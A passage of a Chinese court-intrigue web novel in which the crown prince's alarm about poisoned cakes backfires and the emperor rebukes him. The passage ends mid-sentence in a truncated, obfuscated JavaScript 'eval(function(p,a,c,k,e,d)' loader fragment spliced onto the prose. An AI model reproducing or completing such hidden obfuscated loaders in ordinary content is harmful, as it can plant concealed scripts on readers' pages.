食用这清凉糕!”
他猛然起身,神情焦灼,“父皇!为保万全,还是速请御医前来诊视吧!
即便这糕点所含井水不多,但圣躬安危关乎社稷,岂能儿戏?务必请御医看过,儿臣方能安心!”
然而皇帝并未如太子预料那般,转而对萧启怒斥,反而疑惑道:“你说这糕点有毒……是听何人所言?”
“是苏老大人亲口告知!”太子面露恰到好处的迟疑,“难道苏老大人他……并未对儿臣言明实情?”
萧启此时方悠悠开口,声音平稳无波:“苏老大人岂敢欺瞒太子殿下?
实在是当时殿下听闻书院井水出了问题,带在身边那女冠又当场毙命,殿下一时头痛发作,匆匆离去,未能见到后续。
新任玄察司大人,已逐一查验书院四口井水,证实并非所有井水皆被**。”
这正是萧启临走前,与云昭共同议定的说辞。
当然,事实也确如云昭所料,四口井中仅两口有毒。即便陛下日后深究,也寻不出破绽。
此言一出,太子脸色瞬间铁青。
萧启见状,轻哂一声,对皇帝道:“陛下,太子殿下既有诚恳认错之心,您也不必过于动气了。”
“诚恳认错?”皇帝冷笑一声,目光如刀锋般刮过太子惨白的脸,“朕看他分明是做贼心虚,以小人之心度君子之腹!非但毫无悔过之意,反而处处攀扯他人,试图混淆视听!”
皇帝是何等人物,浸淫权术数十年,洞悉人心。
从听萧启禀报书院风波,到共品苏文正进献的糕点,再到亲眼目睹太子这番慌不择路的表演——
太子说多错多,越是辩解,越是将其内心的算计与惶恐暴露无遗!
太子被皇帝一句句诛心之言斥得面无人色,忍不住抗辩:“父皇!儿臣绝无此意!儿臣有错,也只错在识人不明!绝无故意坑害苏老大人与书院学子之心!儿臣对苏老大人,素来敬重有加!”
皇帝不再与他多言,只冷冷命令一声:“抬进来!”
两名内侍应声而入,将那只熟悉的柏木桶重重放在太子面前。
太子一见此桶,脸上血色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromC